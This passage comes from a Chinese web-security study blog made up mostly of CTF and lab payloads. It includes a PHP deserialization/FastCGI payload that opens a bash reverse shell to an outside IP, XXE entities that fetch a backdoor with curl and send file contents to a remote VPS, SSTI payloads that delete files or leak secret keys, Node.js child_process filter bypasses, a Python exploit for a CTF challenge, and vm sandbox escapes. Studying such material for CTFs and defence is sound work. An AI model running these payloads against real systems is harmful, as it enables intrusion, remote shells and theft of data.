}
}
class Bunny {
public function __construct(){
$this->filename ='ftp://aaa@ip:5002/123';#这里的端口号要和ftp的服务里的端口号一样
}
public function __toString(): string
{
if (Check::$str2) {
if(!$this->data){
$this->data = $_REQUEST['data'];
}
file_put_contents($this->filename, $this->data);
} else {
throw new Error("Error");
}
return '1';
}
}
class Welcome {
public function __construct(){
$this->username = new Bunny();
}
public function __invoke(): string
{
Check::$str2 = true;
return "Welcome" . $this->username;
}
}
class Bypass {
public function __construct()
{
$this -> test = new Esle();
$this ->str4 = new Welcome();
}
public function __destruct()
{
if (Check::$str1) {
($this->str4)();
} else {
throw new Error("Error");
}
}
}
$a = new Bypass();
echo urlencode(serialize($a));
最终构造的payload为
txtcode=O%3A6%3A%22Bypass%22%3A2%3A%7Bs%3A4%3A%22test%22%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7Ds%3A4%3A%22str4%22%3BO%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A5%3A%22Bunny%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A33%3A%22ftp%3A%2F%2Faaa%40117.XX.XXX.XXX%3A5002%2F123%22%3B%7D%7D%7D&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/117.XX.XXX.XXX/5001%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
gopher 协议是一个在http 协议诞生前用来访问Internet 资源的协议可以理解为http协议的前身或简化版,虽然很古老但现在很多库还支持gopher 协议而且gopher 协议功能很强大。 它可以实现多个数据包整合发送,然后gopher 服务器将多个数据包捆绑着发送到客户端,这就是它的菜单响应。比如使用一条gopher 协议的curl 命令就能操作mysql 数据库或完成对redis 的攻击等等。 gopher 协议使用tcp 可靠连接。
gopher协议是比http协议更早出现的协议,现在已经不常用了,但是在SSRF漏洞利用中gopher可以说是万金油,因为可以使用gopher发送各种格式的请求包,这样就可以解决漏洞点不在GET参数的问题了。
noneURL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
<gopher-path>
其中<gopher-path>
格式可以是如下其中的一种</gopher-path>
,当然,这部分也可以省略none<gophertype><selector> <gophertype><selector>%09<search> <gophertype><selector>%09<search>%09<gopher+_string>
整个<gopher-path>
部分可以省略,这时候\
也可以省略<gophertype>
为默认的1。
<gophertype>
是一个单字符用来表示url 资源的类型,在常用的安全测试中发现不管这个字符是什么都不影响,只要有就行了。
<selector>
个人理解这个是包的内容,为了避免一些特殊符号需要进行url 编码,但如果直接把wireshark 中ascii 编码的数据直接进行url 编码然后丢到gopher 协议里跑会出错,得在wireshark 里先换成hex 编码的原始数据后再每两个字符的加上%
,通过对比发现直接url 编码的话会少了%0d
回车字符。
<search>
用于向gopher 搜索引擎提交搜索数据,和<selector>
之间用%09
隔开。
<gopher+_string>
是获取gopher+ 项所需的信息,gopher+ 是gopher 协议的升级版。
先试一下
vps上监听5001端口,然后在另一台上利用gopher发送请求
发现虽然发送的请求是abcd但是接收的只有bcd
这是因为用一个单字符表示了<gophertype>
部分
网页代码为
none<?php echo "Hello ".$_REQUEST["name"]."\n" ?>
get的请求方式就是
nonecurl gopher://ip:80/_GET%20/ssrf/test/test.php%3fname=Margin%20HTTP/1.1%0d%0AHost:%20ip%0d%0A
image-20220426163357450
none
nonecurl gopher://ip:80/_POST%20/ssrf/test/test.php%20HTTP/1.1%0d%0AHost:ip%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=Margin%0d%0A
与get不同的地方就是要加上Content-Type和Content-Length
image-20220426163600192
首先准备一个有ssrf漏洞的代码
先试一下
那我们能不能用这个代码来读到我们test.php里的内容呢
nonecurl http://ip/ssrf/test/shell.php?url=gopher://ip:80/_GET%20/ssrf/test/test.php%3fname=Margin%20HTTP/1.1%0d%0AHost:%20ip%0d%0A
构造这样的payload,但是发现并没有回显出test.php里的内容
这里是因为在PHP在接收到参数后会做一次URL的解码,%20等字符已经被转码为空格。所以,curl_exec在发起gopher时用的就是没有进行URL编码的值,就导致了现在的情况,所以我们要进行二次URL编码。
nonecurl http://ip/ssrf/test/shell.php?url=gopher%3A%2F%2Fip%3A80%2F_GET%2520%2Fssrf%2Ftest%2Ftest.php%253fname%3DMargin%2520HTTP%2F1.1%250d%250AHost%3A%2520ip%250d%250A
成功利用
剩下的部分搭环境比较麻烦,而且还有的涉及到Java的框架了,不想搭了(瘫,直接贴链接了
Gopher协议在SSRF漏洞中的深入研究(附视频讲解) - 知乎 (zhihu.com)
SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。
已知的可用来提权的linux可行性的文件列表如下:
以下命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件。
javafind / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
xml标准payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE any[ //any表示任何根元素
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<qwe><ctfshow>&f;</ctfshow></qwe>
php伪协议读取文件:
<?xml version="1.0"?>
<!DOCTYPE any [
<!ENTITY file SYSTEM "php://filter/read/convert.base64-encode/resource=flag.txt">
]>
<user>
<username>&file;</username>
<password>pass</password>
</user>
命令执行:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE any[
<!ENTITY file SYSTEM "except://whoami">
<!ENTITY file SYSTEM "except://curl$IFS'172.16.1.233:2233/backdoor.php'">
]>
<qwe><ctfshow>START_&file;_END</ctfshow></qwe>
ssrf:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt"
>]>
<foo>
&xxe;
</foo>
ddos:如果解析过程变的非常缓慢,则表明测试成功,即目标解析器配置不安全可能遭受至少一种 DDoS 攻击。
<!DOCTYPE data [<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">]>
<data>
&a2;
</data>
Billion Laughs 攻击——一个经典的Dos攻击payload:
<?xml version="1.0"?>
<!DOCTYPE lolz [ <!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2
"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3
"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">......
<!ENTITY lol9
"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
<lolz>
&lol9;
</lolz>
Blind XXE::
<?xml version="1.0"?>
<!DOCTYPE ANY[<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://remotevps/evil.xml">
%remote;%all;]>
<root>
&send;
</root>
evil.xml:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://remotevps/1.php?
file=%file;'>
xxe bypass
base64编码绕过:
<!DOCTYPE test [
<!ENTITY % init SYSTEM
"data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init;
]>
<foo/>
xml<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY admin SYSTEM "file:///flag"> //这一行的admin要和下面的admin同名,不然找不到分支xmlhuibaocuo
]>
<user>
<username>&admin;</username> //注意,这一行要加&;
<password>password</password>
</user>
第三行的payload可以换
phpfile:///proc/net/arp 读取内网可用主机 arp http://ip (测内网)
php${{<%[%'"}}%\
{{request.__init__.__globals__['__builtins__'].open('/flag').read()}
师从portswigger
1.在ERB文档中,语法<%= someExpression %>
用于计算表达式并在页面上呈现结果。
使用ERB模板语法创建包含数学运算的测试有效负载,例如:
<%= 7*7 %>
从Ruby文档中,可以发现system()
方法,它可以用于执行任意操作系统命令。
构造一个有效负载来删除卡洛斯的文件,如下所示:
<%= system("rm /home/carlos/morale.txt") %>
注意闭合前面的数据
{% import os %} {{os.system('rm /home/carlos/morale.txt')
转到文档的“内置参考”部分,找到new()
的条目。本文进一步描述了new()
如何成为一个安全问题,因为它可以用于创建实现TemplateModel
接口的任意Java对象。
为TemplateModel
类加载JavaDoc,并查看“所有已知实现类”列表。
请注意,有一个名为Execute
的类,它可用于执行任意shell命令
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("rm /home/carlos/morale.txt") }
Modify this exploit so that it calls require("child_process").exec("rm /home/carlos/morale.txt")
as follows:
wrtz{{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}}
将其中一个模板表达式更改为无效的内容,例如模糊字符串${{<%[%'"}}%\
,然后保存模板。输出中的错误消息提示正在使用Django框架。
研究Django文档并注意到内置的模板标签debug可以被调用来显示调试信息。
在模板中,删除无效语法并输入以下语句以调用debug内置:
php{% debug %}
保存模板。输出将包含您可以从该模板中访问的对象和属性的列表。重要的是,请注意您可以访问settings对象。
研究Django文档中的settings对象,注意它包含一个SECRET_KEY属性,如果攻击者知道该属性,则会产生危险的安全隐患。
在模板中,删除{% debug %}
语句并输入表达式
php{{settings.SECRET_KEY}}
保存模板以输出框架的密钥。
为Object
类加载JavaDoc,以查找应该在所有对象上可用的方法。确认您可以使用${object.getClass()}
对象执行product
。
浏览文档以找到一系列方法调用,这些方法调用通过静态方法授予对类的访问权限,从而允许您读取文件,例如:
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
在其中一个模板中输入此有效负载并保存。输出将包含十进制ASCII码位形式的文件内容。
1.1 nodejs的简单介绍
简单的说 Node.js 就是运行在服务端的 JavaScript。 Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。 Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。
toUpperCase() toLowerCase()
对于toUpperCase(): 字符"ı"
、"ſ"
经过toUpperCase处理后结果为 "I"
、"S"
对于toLowerCase(): 字符"K"
经过toLowerCase处理后结果为"k"
(这个K不是K)
大小比较
jsconsole.log(1=='1'); //true
console.log(1>'2'); //false
console.log('1'<'2'); //true
console.log(111>'3'); //true
console.log('111'>'3'); //false
console.log('asd'>1); //false
总结:数字与字符串比较时,会优先将纯数字型字符串转为数字之后再进行比较;而字符串与字符串比较时,会将字符串的第一个字符转为ASCII码之后再进行比较,因此就会出现第五行代码的这种情况;而非数字型字符串与任何数字进行比较都是false
数组的比较:
jsconsole.log([]==[]); //false
console.log([]>[]); //false
console.log([6,2]>[5]); //true
console.log([100,2]<'test'); //true
console.log([1,2]<'2'); //true
console.log([11,16]<"10"); //false
总结:空数组之间比较永远为false,数组之间比较只比较数组间的第一个值,对第一个值采用前面总结的比较方法,数组与非数值型字符串比较,数组永远小于非数值型字符串;数组与数值型字符串比较,取第一个之后按前面总结的方法进行比较
还有一些比较特别的相等:
jsconsole.log(null==undefined) // 输出:true
console.log(null===undefined) // 输出:false
console.log(NaN==NaN) // 输出:false
console.log(NaN===NaN) // 输出:false
变量拼接
jsconsole.log(5+[6,6]); //56,3
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6
jsa && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)
a[x]=1&b[x]=2
数组会被解析成[object Object]
jsa={'x':'1'}
b={'x':'2'}
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
a=[1]
b=[2]
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
16进制编码
jsconsole.log("a"==="\x61"); // true
unicode编码
jsconsole.log("\u0061"==="a"); // true
base编码
jseval(Buffer.from('Y29uc29sZS5sb2coImhhaGFoYWhhIik7','base64').toString())
exec()
jsrequire('child_process').exec('open /System/Applications/Calculator.app');
eval()
jsconsole.log(eval("document.cookie")); //执行document.cookie
console.log("document.cookie"); //输出document.cookie
读
readFileSync()
jsrequire('fs').readFile('/etc/passwd', 'utf-8', (err, data) => {
if (err) throw err;
console.log(data);
});
readFile()
jsrequire('fs').readFileSync('/etc/passwd','utf-8')
写
writeFileSync()
jsrequire('fs').writeFileSync('input.txt','sss');
writeFile()
jsrequire('fs').writeFile('input.txt','test',(err)=>{})
bypass
原型:
jsrequire("child_process").execSync('cat flag.txt')
字符拼接:
jsrequire("child_process")['exe'%2b'cSync']('cat flag.txt')
//(%2b就是+的url编码)
require('child_process')["exe".concat("cSync")]("open /System/Applications/Calculator.app/")
编码绕过:
jsrequire("child_process")["\x65\x78\x65\x63\x53\x79\x6e\x63"]('cat flag.txt')
require("child_process")["\u0065\u0078\u0065\u0063\u0053\x79\x6e\x63"]('cat fl001g.txt')
eval(Buffer.from('cmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCdvcGVuIC9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwLycpOw==','base64').toString()) //弹计算器
模板拼接:
jsrequire("child_process")[`${`${`exe`}cSync`}`]('open /System/Applications/Calculator.app/')
其他函数:
jsrequire("child_process").exec("sleep 3");
require("child_process").execSync("sleep 3");
require("child_process").execFile("/bin/sleep",["3"]); *//调用某个可执行文件,在第二个参数传args*
require("child_process").spawn('sleep', ['3']);
require("child_process").spawnSync('sleep', ['3']);
require("child_process").execFileSync('sleep', ['3']);
原理
虽然用户发出的http请求通常将请求路径指定为字符串,但Node.js最终必须将请求作为原始字节输出。JavaScript支持unicode字符串,因此将它们转换为字节意味着选择并应用适当的unicode编码。对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码,不能表示高编号的unicode字符。相反,这些字符被截断为其JavaScript表示的最低字节
js> v = "/caf\u{E9}\u{01F436}"
'/café🐶'
> Buffer.from(v,'latin1').toString('latin1')
'/café=6'
Crlf HTTP头注入:
js> require('http').get('http://example.com/\r\n/test')._header
'GET //test HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n'
通过crlf结合ssrf利用
题目连接:
[https://buuoj.cn/challenges#[GYCTF2020]Node%20Game](https://buuoj.cn/challenges#[GYCTF2020]Node Game)
源码:
jsvar express = require('express');
var app = express();
var fs = require('fs');
var path = require('path'); // 处理文件路径
var http = require('http');
var pug = require(`pug`); // 模板渲染
var morgan = require('morgan'); // 日志
const multer = require('multer'); // 用于处理multipart/form-data类型的表单数据,实现上传功能
// 将上传的文件存储在./dist[自动创建]返回一个名为file的文件数组
app.use(multer({dest: './dist'}).array('file'));
// 使用简化版日志
app.use(morgan('short'));
// 静态文件路由
app.use("/uploads", express.static(path.join(__dirname, '/uploads')))
app.use("/template", express.static(path.join(__dirname, '/template')))
app.get('/', function (req, res) {
// GET方法获取action参数
var action = req.query.action ? req.query.action : "index";
// action中不能包含/ & \
if (action.includes("/") || action.includes("\\")) {
res.send("Errrrr, You have been Blocked");
}
// 将/template/[action].pug渲染成html输出到根目录
file = path.join(__dirname + '/template/' + action + '.pug');
var html = pug.renderFile(file);
res.send(html);
});
app.post('/file_upload', function (req, res) {
var ip = req.connection.remoteAddress; // remoteAddress无法伪造,因为TCP有三次握手,伪造源IP会导致无法完成TCP连接
var obj = {msg: '',}
// 请求必须来自localhost
if (!ip.includes('127.0.0.1')) {
obj.msg = "only admin's ip can use it"
res.send(JSON.stringify(obj));
return
}
fs.readFile(req.files[0].path, function (err, data) {
if (err) {
obj.msg = 'upload failed';
res.send(JSON.stringify(obj));
} else {
// 文件路径为/uploads/[mimetype]/filename,mimetype可以进行目录穿越实现将文件存储至/template并利用action渲染到界面
var file_path = '/uploads/' + req.files[0].mimetype + "/";
var file_name = req.files[0].originalname
var dir_file = __dirname + file_path + file_name
if (!fs.existsSync(__dirname + file_path)) {
try {
fs.mkdirSync(__dirname + file_path)
} catch (error) {
obj.msg = "file type error";
res.send(JSON.stringify(obj));
return
}
}
try {
fs.writeFileSync(dir_file, data)
obj = {msg: 'upload success', filename: file_path + file_name}
} catch (error) {
obj.msg = 'upload failed';
}
res.send(JSON.stringify(obj));
}
})
})
// 查看题目源码
app.get('/source', function (req, res) {
res.sendFile(path.join(__dirname + '/template/source.txt')); });
app.get('/core', function (req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:8081/source?' + q
console.log(url)
// 对url字符进行waf
var trigger = blacklist(url);
if (trigger === true) {
res.send("error occurs!");
} else {
try {
// node对/source发出请求,此处可以利用字符破坏进行切分攻击访问/file_upload路由(❗️此请求发出者为localhost主机),实现对remoteAddress的绕过
http.get(url, function (resp) {
resp.setEncoding('utf8');
resp.on('error', function (err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
}
});
// 返回结果输出到/core
resp.on('data', function (chunk) {
try {
resps = chunk.toString();
res.send(resps);
} catch (e) {
res.send(e.message);
}
}).on('error', (e) => {
res.send(e.message);
});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
})
// 关键字waf 利用字符串拼接实现绕过
function blacklist(url) {
var evilwords = ["global", "process", "mainModule", "require", "root", "child_process", "exec", "\"", "'", "!"];
var arrayLen = evilwords.length;
for (var i = 0; i < arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true
}
}
}
var server = app.listen(8081, function () {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})
exp:
pythonimport requests
payload = """ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZUlQgK81vgN7OB8A
{}""".replace('\n', '\r\n')
body = """------WebKitFormBoundaryZUlQgK81vgN7OB8A
Content-Disposition: form-data; name="file"; filename="lethe.pug"
Content-Type: ../template
-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x
------WebKitFormBoundaryZUlQgK81vgN7OB8A--
""".replace('\n', '\r\n')
payload = payload.format(len(body), body) \
.replace('+', '\u012b') \
.replace(' ', '\u0120') \
.replace('\r\n', '\u010d\u010a') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
+ 'GET' + '\u0120' + '/'
requests.get('http://ec05f88c-b4d9-4408-bdc5-56e251328bb1.node4.buuoj.cn:81/core?q=' + payload)
print(requests.get('http://ec05f88c-b4d9-4408-bdc5-56e251328bb1.node4.buuoj.cn:81/?action=lethe').text)
https://xz.aliyun.com/t/2894#toc-2
简介:
对于使用过基于类的语言 (如 Java 或 C++) 的开发者们来说,JavaScript 实在是有些令人困惑 —— JavaScript 是动态的,本身不提供一个 class
的实现。即便是在 ES2015/ES6 中引入了 class
关键字,但那也只是语法糖,JavaScript 仍然是基于原型的。
当谈到继承时,JavaScript 只有一种结构:对象。每个实例对象(object)都有一个私有属性(称之为 proto )指向它的构造函数的原型对象(prototype)。该原型对象也有一个自己的原型对象(proto),层层向上直到一个对象的原型对象为 null
。根据定义,null
没有原型,并作为这个原型链中的最后一个环节。
几乎所有 JavaScript 中的对象都是位于原型链顶端的 Object
的实例。
尽管这种原型继承通常被认为是 JavaScript 的弱点之一,但是原型继承模型本身实际上比经典模型更强大。例如,在原型模型的基础上构建经典模型相当简单。
jsfunction Foo(name,age){
this.name=name;
this.age=age;
}
Object.prototype.toString=function(){
console.log("I'm "+this.name+" And I'm "+this.age);
}
var fn=new Foo('xiaoming',19);
fn.toString();
console.log(fn.toString===Foo.prototype.__proto__.toString);
console.log(fn.__proto__===Foo.prototype)
console.log(Foo.prototype.__proto__===Object.prototype)
console.log(Object.prototype.__proto__===null)
在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。
js// foo是一个简单的JavaScript对象
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar,此时bar为2
console.log(zoo.bar)
有原型链污染的前提之下,我们可以控制基类的成员,赋值为一串恶意代码,从而造成代码注入。
jslet foo = {bar: 1}
console.log(foo.bar)
foo.__proto__.bar = 'require(\'child_process\').execSync(\'open /System/Applications/Calculator.app/\');'
console.log(foo.bar)
let zoo = {}
console.log(eval(zoo.bar))
vm是用来实现一个沙箱环境,可以安全的执行不受信任的代码而不会影响到主程序。但是可以通过构造语句来进行逃逸
逃逸例子:
jsconst vm = require("vm");
const env = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);
console.log(env);
jsconst vm = require('vm');
const sandbox = {};
const script = new vm.Script("this.constructor.constructor('return this.process.env')()");
const context = vm.createContext(sandbox);
env = script.runInContext(context);
console.log(env);
执行以上两个例子之后可以获取到主程序环境中的环境变量(两个例子代码等价)
创建vm环境时,首先要初始化一个对象 sandbox,这个对象就是vm中脚本执行时的全局环境context,vm 脚本中全局 this 指向的就是这个对象。
因为this.constructor.constructor
返回的是一个Function constructor
,所以可以利用Function对象构造一个函数并执行。(此时Function对象的上下文环境是处于主程序中的) 这里构造的函数内的语句是return this.process.env
,结果是返回了主程序的环境变量。
配合chile_process.exec()
就可以执行任意命令了:
jsconst vm = require("vm");
const env = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('whoami').toString()`);
console.log(env);
参考文章:
https://xz.aliyun.com/t/7184#toc-0
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
本文作者:chi11i
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!